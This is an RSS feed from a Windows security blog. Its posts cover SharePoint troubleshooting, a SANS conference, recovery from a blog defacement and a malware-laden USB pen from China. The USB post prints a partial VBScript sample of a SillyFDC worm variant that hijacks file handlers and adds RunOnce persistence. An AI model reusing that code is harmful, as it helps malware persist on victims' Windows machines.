<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Security for a day &#187; Real world</title>
	<atom:link href="http://www.chris-mohan.com/category/real-world/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.chris-mohan.com</link>
	<description>Securing Windows networks or giving it a go in Australia...</description>
	<lastBuildDate>Sat, 31 Dec 2011 12:54:48 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Thank you and good night 2011</title>
		<link>http://www.chris-mohan.com/2011/12/thank-you-and-good-night-2011/</link>
		<comments>http://www.chris-mohan.com/2011/12/thank-you-and-good-night-2011/#comments</comments>
		<pubDate>Sat, 31 Dec 2011 12:54:48 +0000</pubDate>
		<dc:creator>ChrisM</dc:creator>
				<category><![CDATA[Real world]]></category>

		<guid isPermaLink="false">http://www.chris-mohan.com/?p=923</guid>
		<description><![CDATA[Thank you 2011, you&#8217;ve been an amazing, life changing year.]]></description>
			<content:encoded><![CDATA[<p>Thank you 2011, you&#8217;ve been an amazing, life changing year.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.chris-mohan.com/2011/12/thank-you-and-good-night-2011/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Aiden Samuel Mohan</title>
		<link>http://www.chris-mohan.com/2011/10/aiden-samuel-mohan/</link>
		<comments>http://www.chris-mohan.com/2011/10/aiden-samuel-mohan/#comments</comments>
		<pubDate>Tue, 11 Oct 2011 10:28:21 +0000</pubDate>
		<dc:creator>ChrisM</dc:creator>
				<category><![CDATA[Real world]]></category>

		<guid isPermaLink="false">http://www.chris-mohan.com/?p=917</guid>
		<description><![CDATA[9:31 am 11/10/2011 Hello World]]></description>
			<content:encoded><![CDATA[<p>9:31 am 11/10/2011</p>
<p>Hello World</p>
]]></content:encoded>
			<wfw:commentRss>http://www.chris-mohan.com/2011/10/aiden-samuel-mohan/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SharePoint 2010 returning HTTP 304 for files in Style Library directory</title>
		<link>http://www.chris-mohan.com/2011/08/sharepoint-2010-returning-http-304-for-files-in-style-library-directory/</link>
		<comments>http://www.chris-mohan.com/2011/08/sharepoint-2010-returning-http-304-for-files-in-style-library-directory/#comments</comments>
		<pubDate>Wed, 31 Aug 2011 04:32:19 +0000</pubDate>
		<dc:creator>ChrisM</dc:creator>
				<category><![CDATA[Real world]]></category>
		<category><![CDATA[Windows 2008]]></category>

		<guid isPermaLink="false">http://www.chris-mohan.com/?p=900</guid>
		<description><![CDATA[I asked to look into  a very curious problem with a new SharePoint 2010 site’s images not being displayed which, in theory, shouldn&#8217;t have happened.  Red crosses replaced the images on the page and the JavaScript code wasn’t running. As an example of the missing images, if I attempted to view one of the failed images [...]]]></description>
			<content:encoded><![CDATA[<p>I asked to look into  a very curious problem with a new SharePoint 2010 site’s images not being displayed which, in theory, shouldn&#8217;t have happened.  Red crosses replaced the images on the page and the JavaScript code wasn’t running.</p>
<p>As an example of the missing images, if I attempted to view one of the failed images say, http ://someweb_site/Style%20Library/Images/btn_home.gif, it would display :</p>
<p><a href="http://www.chris-mohan.com/wp-content/uploads/2011/08/btn_home_bad.gif"><img class="alignnone size-full wp-image-901" title="btn_home_bad" src="http://www.chris-mohan.com/wp-content/uploads/2011/08/btn_home_bad.gif" alt="" width="33" height="33" /></a> (the white square and red cross is intentional, please don&#8217;t adjust your screens)</p>
<p>rather than  <a href="http://www.chris-mohan.com/wp-content/uploads/2011/08/btn_home_good.gif"><img class="alignnone size-full wp-image-905" title="btn_home_good" src="http://www.chris-mohan.com/wp-content/uploads/2011/08/btn_home_good.gif" alt="" width="68" height="20" /></a></p>
<p>&nbsp;</p>
<div class="mceTemp">With the aid of <a title="My little IE proxy friend" href="http://www.fiddler2.com/fiddler2/" target="_blank">fiddler2</a> I could clearly see the process of the connection to the SharePoint server. What was odd was the 304 HTTP message from the server, despite it being the first time I visited the site.</div>
<p><a href="http://www.chris-mohan.com/wp-content/uploads/2011/08/Fidder-capture-304.jpg"><img class="aligncenter size-full wp-image-902" title="Fidder capture 304" src="http://www.chris-mohan.com/wp-content/uploads/2011/08/Fidder-capture-304.jpg" alt="" width="977" height="190" /></a></p>
<p>In case you haven’t memorised the HTTP codes <a href="http://en.wikipedia.org/wiki/List_of_HTTP_status_codes#3xx_Redirection" target="_blank">Wikipedia</a> offers this refresher:</p>
<h3> 304 Not Modified</h3>
<p>Indicates the resource has not been modified since last requested. Typically, the HTTP client provides a header like the If-Modified-Since header to provide a time against which to compare. Using this saves bandwidth and reprocessing on both the server and client, as only the header data must be sent and received in comparison to the entirety of the page being re-processed by the server, then sent again using more bandwidth of the server and client.</p>
<p>Even though fiddler does a cracking job of recording what happening, I can never resist firing up Wireshark to confirm the same information. Below shows the server returning the 304 Not Modified response.</p>
<p><a href="http://www.chris-mohan.com/wp-content/uploads/2011/08/http304_wireshark.jpg"><img class="aligncenter size-full wp-image-903" title="http304_wireshark" src="http://www.chris-mohan.com/wp-content/uploads/2011/08/http304_wireshark.jpg" alt="" width="736" height="102" /></a></p>
<p>&nbsp;</p>
<p>So the file was being requested from the server and the server was telling the client it hadn&#8217;t changed since last visit. But I hadn&#8217;t visited the site before. I flushed the client’s web browser cache just to be sure and still got the same error. To me that confirmed the error was at the server end.</p>
<p>SharePoint has <a href="http://technet.microsoft.com/en-us/library/cc261797.aspx" target="_blank">its own caches</a> to speed up page and content delivery.  The one I was interested in is the binary large objects (BLOB) cache and initial thought was to flush this cache and fix the problem, MS have a nice simple powershell script to do this <a href="http://technet.microsoft.com/en-us/library/gg277249.aspx">http://technet.microsoft.com/en-us/library/gg277249.aspx</a></p>
<p>Flushed BLOB cach for the site, but still no dice. Then took a bit of a step back and looked at how SP used blog caches. <a href="http://www.zimmergren.net/archive/2011/01/09/sp-2010-developing-for-performance-part-3-caching-in-sharepoint-2010.aspx" target="_blank">Tobias Zimmergren&#8217;s blob piece</a> was very help in understand where to look for the BLOB setting in the web.config file. A few simple checks showed that this site wasn&#8217;t using BLOB caching. Somehow SharePoint must have got confused in to thinking it did have a BLOB cache and was trying to return the images and JavaScript from the non-existent cache.</p>
<p>&nbsp;</p>
<p>The fix was easy; we created a BLOB cache and everything worked beautifully, then we disable the BLOB cache and everything still worked. Despite the web page displaying the content correctly, I confirmed under the hood with fiddler and as you can see a much happier result.</p>
<p><a href="http://www.chris-mohan.com/wp-content/uploads/2011/08/Fidder-capture-200.jpg"><img class="aligncenter size-full wp-image-904" title="Fidder capture 200" src="http://www.chris-mohan.com/wp-content/uploads/2011/08/Fidder-capture-200.jpg" alt="" width="975" height="225" /></a></p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.chris-mohan.com/2011/08/sharepoint-2010-returning-http-304-for-files-in-style-library-directory/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SANS Network Security 2010</title>
		<link>http://www.chris-mohan.com/2010/10/sans-network-security-2010/</link>
		<comments>http://www.chris-mohan.com/2010/10/sans-network-security-2010/#comments</comments>
		<pubDate>Thu, 07 Oct 2010 08:05:31 +0000</pubDate>
		<dc:creator>ChrisM</dc:creator>
				<category><![CDATA[Real world]]></category>
		<category><![CDATA[SANS]]></category>

		<guid isPermaLink="false">http://www.chris-mohan.com/2010/10/sans-network-security-2010/</guid>
		<description><![CDATA[Las Vegas was hot, darned hot. The average temperature was a blistering 38C, without promise of clouds, rain or even a cool breeze. None of this really mattered to me as for nine days I was a virtual prisoner of Caesars Palace, doomed to only see the outside sunlight though glimpses out of windows, doorways [...]]]></description>
			<content:encoded><![CDATA[<p>Las Vegas was hot, darned hot. The average temperature was a blistering 38C, without promise of clouds, rain or even a cool breeze. None of this really mattered to me as for nine days I was a virtual prisoner of Caesars Palace, doomed to only see the outside sunlight though glimpses out of windows, doorways and the TV.</p>
<p>The pre-panic GSE study, followed by the GSE exam took care of three days. Those days descended into terrible sleepless nights, which manifested itself in forcing me to roaming the halls, streets and haunts of nearby Vegas venues from 12am until 5am each night. This was a desperate attempt to weary my confused and over excited brain to slumber. If only it had worked. The days were simply blurred. I have vivid memories of particular moments and events, but anything that wasn&#8217;t GSE driven has been consigned to the void.</p>
<p>Luck was on my side this year as I got to be a work place volunteer at <a href="http://www.sans.org/network-security-2010/">SANS Network Security 2010</a> on<a href="http://www.sans.org/network-security-2010/description.php?tid=4437"> Steve Sims&#8217; Developing Exploits for Penetration Testers and Security Researchers course</a>. This meant I got to take this amazing course and not go in to further crippling debt, which in Vegas is always a good thing. Normally, as a volunteer, there&#8217;s a muster on morning before the conference starts and all the behind the scenes work takes place. This ranges from sorting out the course materials, working out what needs to be done and then everything in between. There&#8217;s a huge amount of hard, physical work that&#8217;s done by the volunteer crew. As the GSE exam was still in full flow, I missed all this. That&#8217;s actually a shame, as you get to know the others, start the banter and camaraderie that keeps you going for the long week ahead.</p>
<p>Around 1200 people attended, with 41 courses, dozens of talks, presentations and break out groups happening throughout the week. This is the first time I&#8217;ve been a part of a SANS conference of this size and the sheer amount of planning, organisation and ordered chaos is stunning. I stuck my head in the early register room around 8pm on the Sunday night and was surprise to find a large group of volunteers and SANS staff still there. They had registered over 500 students, but the place still looked like only a few people had registered. I said a few quick hellos, picked up my books and the famous red apron headed off to sleep. Well, that didn&#8217;t work and after around three hours sleep I was back at the meeting point at 6am Monday morning, feeling surprisingly awake. Only problem was, I was at the wrong muster point and it took about ten minutes to work this out. Obviously I was as awake as I thought.</p>
<p>A quick jog to the right meeting point, walked in to the volunteer group. To see thirty plus men and women in the bright red aprons in one spot is a stirring sight to behold, especial without any form of caffeine in the blood stream. Standing at the head of the room was Katherine, the SANS volunteer general, fixer, enforcer and part time fairy godmother. Katherine was in full flow, assigning last minute tasks, correcting minor issues and checking on status points. She quickly noted my less than quiet entrance and summoned me. This is a great start to the day and week, I though groaning inwardly, busted for being late and stupid, an excellent first impression. Katherine was very kind – fortunately &#8211; and had a couple of extra duties for me to undertake during the conference. None of which were any real burden and being determined to make up for any slight, I happily took them on.</p>
<p>The major part of the first day duties is to get the students sorted with their course materials, welcome packs and point them in the right directions. Given some of the delightful American accents and turns of phrase I&#8217;d already encountered and had some &#8220;minor confusions&#8221; with, I quickly volunteer to be a runner to grab the books, rather be on the front desk. There&#8217;s nothing worse that some foreigner demanding you repeat yourself clearly and in the Queen&#8217;s English – it might work for Hugh Grant, but put in front of 500 Americans who haven&#8217;t had coffee, I wouldn&#8217;t like his chances.</p>
<p>Anyway, the hours flew by. Some six hundred students where sorted out; I got to meet some of the guys and girls and nearly crippled both Emily and Matthew, the two other SANS staffers working with Katherine. I think the accent and the floppy hair smoothed over most of the my near fatal mistakes, the professionalism of everyone else helped too <span style="font-family: Wingdings;">J</span></p>
<p>When a supply problem popped up, I got to assist Katherine as she worked her magic fixing it, which was pretty amazing to behold, given the distances, logistics and time frames involved. I&#8217;ve worked at big events before, but I&#8217;m still amazed how the folks in the background just make things work, without anyone noticing. I think they could have stepped in to a career as an illusionist without messing their hair.</p>
<p>All of this in the first few hours before conference had even started. The first day is usually the busiest and when things can go a bit loopy. Still, got to the end of the day in one piece and no fires broke out in the building, so better than the last SANS conference. It&#8217;s at this point the volunteers disappear in to the &#8220;office&#8221; do some quick paper work, talk about what&#8217;s happening in the classes and hurry off to help out with one of the evening talks.</p>
<p>It&#8217;s during the downtime you get to socialise with the other volunteers, share experiences, swap ideas, verbally abuse each other and generally have a lot of fun. It&#8217;s all about the banter. Anyone who puts their hand up for a one of these roles there to learn and put in a good amount of hard work on top of all the mental effort while in class. In my book, that&#8217;s someone worth getting to know. Over the six days, I got to spend a bit of time with pretty much everyone in a red apron, some very unlucky people got to spend too much time with me. Brad, Sarene and Jared obviously did something terrible in a former life and so got the lion share of quality time. If you get the chance to be a volunteer, throw everything you have at the experience and drag out every last second.</p>
<p>The rest of the week became a predictable flow of stability and spikes of utter chaos. The spikes, caused either by near-death experiences from instructors on Segways and/or beer, kept life pretty interesting. One late night incident which culminated in a disastrous round of whiskey shots, another plonked me in the middle of the Forensic crowd, face to face with <a href="http://ericjhuber.blogspot.com/">Eric Huber</a> and his Liege, Rob Lee. I think it only best to left some of other stories in Vegas, but a good and semi-safe time was had by all.</p>
<p>I had some excellent random chats with other students about the GSE, SANS, security and life in general. I only wish I&#8217;d had more time to spending chatting with some of the other people there, as I&#8217;d seen their names on blogs and mail lists, but it&#8217;s better to put a face to the name. As the little red apron gives you more access to the instructors, so I managed to chat with a good number that never reach these shores, in an attempt to teach a class or two in Oz.</p>
<p>Some fantastic talks were given in the evenings, but invariably there would be work to do or three talks on at the same time I wanted to be at, so I got to what I could. One evening I gave a talk on TMG, which I must write a post on, where 20 odd souls turned up to hear. I was following some very tough acts, but managed to survive and hey &#8211; I can now say I was on Stage in Vegas!</p>
<p>Summing up, it was a crazy, non-stop nine days in Las Vegas, I meet some amazing people, took a phenomenal course, had very little sleep, was occasionally tortured and had all-round brilliant time. Okay, it took over 1200 hundred words and a huge amount of rambling to say that, but it was a massive experience and one I won&#8217;t be forgetting any time soon.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.chris-mohan.com/2010/10/sans-network-security-2010/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>&#8220;Don&#8217;t need AV, we have a firewall&#8221;</title>
		<link>http://www.chris-mohan.com/2010/07/dont-need-av-we-have-a-firewall/</link>
		<comments>http://www.chris-mohan.com/2010/07/dont-need-av-we-have-a-firewall/#comments</comments>
		<pubDate>Mon, 12 Jul 2010 04:46:19 +0000</pubDate>
		<dc:creator>ChrisM</dc:creator>
				<category><![CDATA[Real world]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.chris-mohan.com/?p=686</guid>
		<description><![CDATA[A friend stopped by to ask if security suite x was any good or not. This led onto a conversation about a place she was working that wasn&#8217;t running any AV on windows machines. The rational behind this came from a 3rd party IT support guy  who said &#8220;you don&#8217;t need AV on the Windows [...]]]></description>
			<content:encoded><![CDATA[<p>A friend stopped by to ask if security suite x was any good or not. This led onto a conversation about a place she was working that wasn&#8217;t running any AV on windows machines. The rational behind this came from a 3rd party IT support guy  who said &#8220;you don&#8217;t need AV on the Windows machines,  the firewall will protect them&#8221;.</p>
<p>When I say firewall, I mean a good, old layer 3 packet filtering device. The things that cost $100 new and are, well, ADSL routers with added security aren&#8217;t able to protect a small office by themselves. Added security  equals access control lists in a pretty GUI, so not really the poster boy for defense in depth.</p>
<p>Amazing that some IT &#8220;professionals&#8221; actually believe having a firewall  will stop pc&#8217;s from getting malicious software. Thanks goodness the USB  device fad never took off.</p>
<p>If you do not have anti-virus software on your home or small office computer, Microsoft provides a free copy you can download from here: <a href="http://www.microsoft.com/security_essentials/">http://www.microsoft.com/security_essentials/</a></p>
<p>It does the job, is simple to use and doesn&#8217;t cost a penny. You want something with all the whistles and bells, pick a security suite package from any of the big names.</p>
<p>We now return to our regular programme.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.chris-mohan.com/2010/07/dont-need-av-we-have-a-firewall/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Regaining reputation after defacement</title>
		<link>http://www.chris-mohan.com/2010/06/regaining-reputation-after-defacement/</link>
		<comments>http://www.chris-mohan.com/2010/06/regaining-reputation-after-defacement/#comments</comments>
		<pubDate>Wed, 23 Jun 2010 04:41:57 +0000</pubDate>
		<dc:creator>ChrisM</dc:creator>
				<category><![CDATA[Real world]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.chris-mohan.com/?p=681</guid>
		<description><![CDATA[After the defacement and clean up, I was going about my normal business when a couple of friends noted that select pieces of reputation software are highlighting the site as either a phishing site or malicious content. This means folks would be blocked or have WARNING EVIL signs as they attempted to connect to this [...]]]></description>
			<content:encoded><![CDATA[<p>After the defacement and clean up, I was going about my normal business when a couple of friends noted that select pieces of reputation software are highlighting the site as either a phishing site or malicious content. This means folks would be blocked or have WARNING EVIL signs as they attempted to connect to this site. Somewhat off putting I would imaging.</p>
<p>The first one to fix is <a title="WOT" href="http://www.mywot.com/" target="_blank">Web of Trust</a> (WOT), a plug-in for Firefox that is used as part of safe browsing.</p>
<p>Simple option is to create an account, link to your site under the My Site option, and save the web cookie verifier .html file on your home page. Click on verify the site and request it be reviewed. To speed up the process you can ask a few folks to certified it all okay. Takes about a day to go from Red and malicious to Green and good.</p>
<p>The second on is the excellent folks at <a href="http://www.phishtank.com">www.phishtank.com</a> who help steer folks away from evil phishing sites. They are part of OpenDNS, so if you&#8217;re using OpenDNS services, this site is marked as a phishing site and you&#8217;re told not to enter. OpenDNS results are used by other services, so fixing the reputation here will clean up other safe browsing tools.</p>
<p>Despite my site not being an actual phishing site, the bad guys linked through my domain name to a compromised web site on the same server.</p>
<p>So should you type:</p>
<p>www.chris-mohan.com/~hackedsite/Evil_Fake_PayPal_Phishing_Site/cc.php?cmd=_Confirm_being_ripped_off</p>
<p>and the computer translates it to :</p>
<p>10.1.10.1/~hackedsite/Evil_Fake_PayPal_Phishing_Site/cc.php?cmd=_Confirm_being_ripped_off</p>
<p>The /~hackedsite being another user account on the same server as me. Linux helpfully understands the command uses the ip address of my site (which is the same as a couple of hundred hosted others) and redirects to hackedsite web site. in effect this is what happens</p>
<p>10.1.10.1/~hackedsite/Evil_Fake_PayPal_Phishing_Site/cc.php?cmd=_Confirm_being_ripped_off</p>
<p>The web site hackedsite got closed down when I reported it by the hosting company, so phishing was no longer an issue.</p>
<p>I registered  an account  on <a href="http://www.phishtank.com">www.phishtank.com</a> and asked for the site to be review and reclassifed now that the bad stuff has been removed. Now waiting to see how long it takes before being reviewed.</p>
<p>Update: The faster way to get the site off phishtank was to send an email to the support team at OpenDNS. The team there turn around my request in under a day</p>
]]></content:encoded>
			<wfw:commentRss>http://www.chris-mohan.com/2010/06/regaining-reputation-after-defacement/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>From China with Love</title>
		<link>http://www.chris-mohan.com/2010/06/from-china-with-love/</link>
		<comments>http://www.chris-mohan.com/2010/06/from-china-with-love/#comments</comments>
		<pubDate>Sun, 20 Jun 2010 07:34:40 +0000</pubDate>
		<dc:creator>ChrisM</dc:creator>
				<category><![CDATA[Real world]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[VBS]]></category>

		<guid isPermaLink="false">http://www.chris-mohan.com/2010/06/from-china-with-love/</guid>
		<description><![CDATA[I received two gifts from a family member returning from China. It was a lovely thought and I was touched by the gesture. Both items are of the geek variety and bought from stalls, one a ball point pen with a built in 2GB USB stick that can act as a voice recorder and the [...]]]></description>
			<content:encoded><![CDATA[<p>I received two gifts from a family member returning from China.</p>
<p style="text-align: left;">It was a lovely thought and I was touched by the gesture.</p>
<p style="text-align: left;">Both items are of the geek variety and bought from stalls, one a ball point pen with a built in 2GB USB stick that can act as a voice recorder and the other a 240GB USB stick.</p>
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<div id="attachment_657" class="wp-caption alignleft" style="width: 458px"><a href="http://www.chris-mohan.com/wp-content/uploads/2010/06/Penworm.jpg"><img class="size-full wp-image-657  " title="Penworm" src="http://www.chris-mohan.com/wp-content/uploads/2010/06/Penworm.jpg" alt="2GB USB voice recorder pen" width="448" height="69" /></a><p class="wp-caption-text">3-in-1 Pen-recorder-malware </p></div>
<p style="text-align: left;">
<p style="text-align: center;">
<div id="attachment_659" class="wp-caption aligncenter" style="width: 269px"><a href="http://www.chris-mohan.com/wp-content/uploads/2010/06/240gbusb.jpg"><img class="size-full wp-image-659 " title="240gbusb" src="http://www.chris-mohan.com/wp-content/uploads/2010/06/240gbusb.jpg" alt="" width="259" height="202" /></a><p class="wp-caption-text">240GB Flash drive - really?</p></div>
<p>Now, from having worked with companies that operate in Asia and especially China, I&#8217;ve often discovered that some of pieces of technology come with free added &#8220;extras&#8221;.</p>
<p>I have to admit some level of amazement when told of the 240GB USB <em>flash</em> drive, especial when the afore mentioned relative said he hadn&#8217;t seen the 500GB USB <em>flash</em> drive after he&#8217;d bought this one. I thought the largest current flash drive available was on 128GB, sadly it appears I was right. A quick search of 240G Sony quick turned up this <a href="http://flashdrivefacts.wordpress.com/2009/03/26/240gb-sony-microvault-counterfeit-fake-usb-flash-drive-model-number-usm240024/">page</a>. This thing is a total fake and is actually a whooping <span style="text-decoration: underline;"><strong>32MB</strong></span>. However it looks pretty and I can amaze my friends and family with a 234GB drive that I can&#8217;t save anything to. Might give it to the Auditors next time they&#8217;re in the office.</p>
<div id="attachment_660" class="wp-caption aligncenter" style="width: 278px"><a href="http://www.chris-mohan.com/wp-content/uploads/2010/06/fake-usb.jpg"><img class="size-full wp-image-660" title="fake usb" src="http://www.chris-mohan.com/wp-content/uploads/2010/06/fake-usb.jpg" alt="" width="268" height="74" /></a><p class="wp-caption-text">Wow it&#39;s really 234GB - honest!</p></div>
<p>I plugged both USB devices in to a spare Linux machine, just to see it any software was on either. The Fake 240GB USB was empty, but the recording pen had lots of goodies.</p>
<p>The first thing that caught my eye was the autorun.ini file. A quick look at that pointed to a MS-DOS.COM saved on the pen. After a quick imaging of the files, I decide to open a copy of the MS-DOS.COM.</p>
<p>The random looking junk didn&#8217;t quite look like normal .COM file junk, if only I could have taken <a href="http://www.sans.org/canberra-2010/description.php?tid=4317">SANS Reverse-Engineering Malware: Malware Analysis Tools and Techniques course</a>, I may have been able to do a better analysis. However, halfway through the file, the weird characters disappeared and stuff I can recognize and understand appears in plain English.</p>
<p>This is some of what I extracted:</p>
<pre><span style="font-family: Courier New; font-size: 10pt;">Dim fs,rg
</span></pre>
<pre><span style="font-family: Courier New; font-size: 10pt;">Set fs = CreateObject("scripting.filesystemobject")
</span></pre>
<pre><span style="font-family: Courier New; font-size: 10pt;">Set rg = CreateObject("wscript.shell")
</span></pre>
<pre><span style="font-family: Courier New; font-size: 10pt;">On Error Resume Next
</span></pre>
<pre><span style="font-family: Courier New; font-size: 10pt;">rg.RegWrite "HKCR\.vbs\", "VBSFile"
</span></pre>
<pre><span style="font-family: Courier New; font-size: 10pt;">rg.RegWrite "HKCU\Control Panel\Desktop\SCRNSAVE.EXE","C:\WINDOWS\pchealth\helpctr\binaries\HelpHost.com"
</span></pre>
<pre><span style="font-family: Courier New; font-size: 10pt;">rg.RegWrite "HKCU\Control Panel\Desktop\ScreenSaveTimeOut", "30"
</span></pre>
<pre><span style="font-family: Courier New; font-size: 10pt;">rg.RegWrite "HKCR\MSCFile\Shell\Open\Command\","C:\WINDOWS\pchealth\Global.exe"
</span></pre>
<pre><span style="font-family: Courier New; font-size: 10pt;">rg.RegWrite "HKCR\regfile\Shell\Open\Command\","C:\WINDOWS\pchealth\Global.exe"
</span></pre>
<pre><span style="font-family: Courier New; font-size: 10pt;">rg.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\","C:\WINDOWS\system32\dllcache\Default.exe"
</span></pre>
<pre><span style="font-family: Courier New; font-size: 10pt;">rg.RegWrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\","C:\WINDOWS\system32\dllcache\Default.exe"
</span></pre>
<p style="text-align: center;">&#8211; Plenty more VBS code chopped out &#8211;</p>
<p>This clearly isn&#8217;t a real .Com file. Two seconds of searching found out that this is a variant of the SillyFDC worm. A write up of it <a href="http://cyberwarfaremag.wordpress.com/2008/11/20/us-army-infected-by-worm/">here</a> talks how it was slapping the US military systems around back in 2008. Most antivirus software would have picked it up, but then again, why test it.</p>
<p>Moral of the story, if you buy kit like this, for the &#8220;best price&#8221; for a back street stall, buyer beware. Unless you&#8217;re a Malware researcher then go mad, it&#8217;s Christmas day with every item bought!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.chris-mohan.com/2010/06/from-china-with-love/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Being Defaced and cleaning up</title>
		<link>http://www.chris-mohan.com/2010/06/being-defaced-and-cleaning-up/</link>
		<comments>http://www.chris-mohan.com/2010/06/being-defaced-and-cleaning-up/#comments</comments>
		<pubDate>Sun, 20 Jun 2010 04:23:26 +0000</pubDate>
		<dc:creator>ChrisM</dc:creator>
				<category><![CDATA[Real world]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.chris-mohan.com/?p=640</guid>
		<description><![CDATA[One of the wonderful pieces of IT security defense is planning for when you get your arse handed to you. The more technical term is incident response, but it&#8217;s not as much fun to say to your mates at the pub. Being attacked and having to recover is sadly part of IT life these days, [...]]]></description>
			<content:encoded><![CDATA[<p>One of the wonderful pieces of IT security defense is planning for when you get your arse handed to you. The more technical term is incident response, but it&#8217;s not as much fun to say to your mates at the pub.</p>
<p>Being attacked and having to recover is sadly part of IT life these days, but the more practice, the better you get at it. I&#8217;m oddly indebted to this particular attacker as it meant I&#8217;ve had to spend time understanding how the hosting company works, how this site is put together and the glaring shortfalls of outsourcing management and security to a third party.</p>
<p>On the 31st of May this blog was defaced and had a number of files uploaded to it.</p>
<p>The defacement was of a political, religious statement nature, which I&#8217;d  suggest defacing web sites is a bit of a waste of time. Given the  attacker lives in a democracy, whether he believes it is or not, I&#8217;d recommend he&#8217;d spend the time  working in worth while, legal groups to express his views or simply help out the local  community. If you have a voice and a vote use it, people change the world by words and deed, not by petty vandalism or criminal Paypal pharming schemes to steal money from your fellow man.  I&#8217;ll get off my soap box now.</p>
<p>On the 7th of June, I actually noticed the defacement. Oops.</p>
<p>Note to self &#8211; be more narcissistic and look at my own blog more often.</p>
<p>In under a minute, I went from shock to annoyance to curiosity. How did this guy get in, what was he actually doing and would I be able to work out how to stop it again?</p>
<p>I wasn&#8217;t able to log on to the <a title="cpanel - so '90's" href="http://en.wikipedia.org/wiki/CPanel" target="_blank">cpanel</a> to control the site, the wacky security of putting it on a random port over https does not work for locked down corporate environments.</p>
<p>So the first step was to call the hosting company and ask if this was a mass defacement or just me. A number of hosting companies hosting word press site had be compromised due to their bad practices, so best to check. Fortunately for  me I go the support &#8220;consultant&#8221; that struggled with English. After a painful twenty minutes, the best I got out of the conversation was for him to reset a password and mine was the only site hacked. More on this later. He did offer the gems of: Change your password every couple of weeks and don&#8217;t set stuff to 755. Magic. If I was a normal human being 755 would mean the world to me. Thank you!</p>
<p>This is now a great time to bring up the <a title="IR - the SANS's way" href="http://www.giac.org/resources/whitepaper/network/17.php" target="_blank">SANS six step incident response steps</a> process. These steps help work through how to deal with this mess:</p>
<p style="text-align: center;"><strong>1.</strong> Preparation <strong>2.</strong> Identification <strong>3.</strong> Containment <strong>4.</strong> Eradication <strong>5.</strong> Recovery <strong>6.</strong> Lessons learned</p>
<h2>Identification</h2>
<p>After  finish work, I finally got on to the site control panel via cpanel and kicked off a backup of the site just to examine off line what had happened.</p>
<p>The defacement was a simple replacement of the index.php file, which contained a lot of meta data. This meta data confirmed the OS, who had customized the OS and where to get a copy of it, what version of Word the defacement page had been made with and a few other pieces of helpful data. What was really interesting was the uploaded fake PayPal.fr payment page sub-directories and file in the public_html folder. The blog&#8217;s site logs also contained entries like this:</p>
<p>/~silkhous/PayPaI.Com/confirmmation4548664512884645384534/B!M@R/ProfileCCAdd.js</p>
<p>The /~silkhous refers to another home directory on the same hosted server as my blog. Looks like the other site was suffering the same problem, so much for me with the only site being attacked. Nice work hosting provider!</p>
<p>This caused an instant road block. Alerting Paypal that people are being <a title="Pharming - not nice kids!" href="http://en.wikipedia.org/wiki/Pharm" target="_blank">pharmed</a> out weighted my curious and recover process. As there&#8217;s no clear, direct way to contact Paypal&#8217;s security team, I had to go through customer service. The very nice lady somewhat taken back that someone might do this and asked me to submit my findings to an email address. When I asked to speak to someone directly, I was told the security team was a back office group and couldn&#8217;t be directly contacted. Oh well, the Paypal rep was helpful and was pretty excited, so I sent the details off and went back to the clean up.</p>
<h2>Containment, Eradication and Recovery</h2>
<p>What I&#8217;d found didn&#8217;t give me any real clear indications of how the  attacker got in. I knew what he&#8217;d done to the site, and as he&#8217;d kindly  defaced the site and tagged it with his email address, I was able to out  a fair bit of information on him just from search engines. Still, no  clear method of how he got in.</p>
<p>The common options to break in to a WordPress/web site are</p>
<p>1) The hosting provide is vulnerable to attacks and then control the entire server*</p>
<p>2) Bad passwords &#8211; allowing brute force attacks (password guessing)</p>
<p>3) Poorly written plug-ins allow attackers to execute code and commands on the site</p>
<p>4) Old version of Word Press allow attackers to execute code through know vulnerabilities</p>
<p>I can safely rule out 2 and 4 as entry points, which leaves only 3 something I can do about now.</p>
<p>Since I make backups of the site every after x number of blog pieces I upload, I decided to delete the entire site and upload a fresh copy of WordPress. Using a couple good articles from WordPress, I picked the parts that worked for me from them to add additional security.</p>
<p>http://codex.wordpress.org/FAQ_My_site_was_hacked</p>
<p>http://codex.wordpress.org/Hardening_WordPress</p>
<p>I then move back old versions of the content to the blog, tested, made a few more changes, took a back up again and then reset the passwords again and ran one final check.</p>
<p>*Should this happen again, time to move web site  providers to someone who keeps their OS and software up to date&#8230;</p>
<h2>Lessons Learned</h2>
<ul>
<li>RTFM WordPress&#8217; security guides</li>
<li>Avoid having gadgets and plugins just because the look pretty</li>
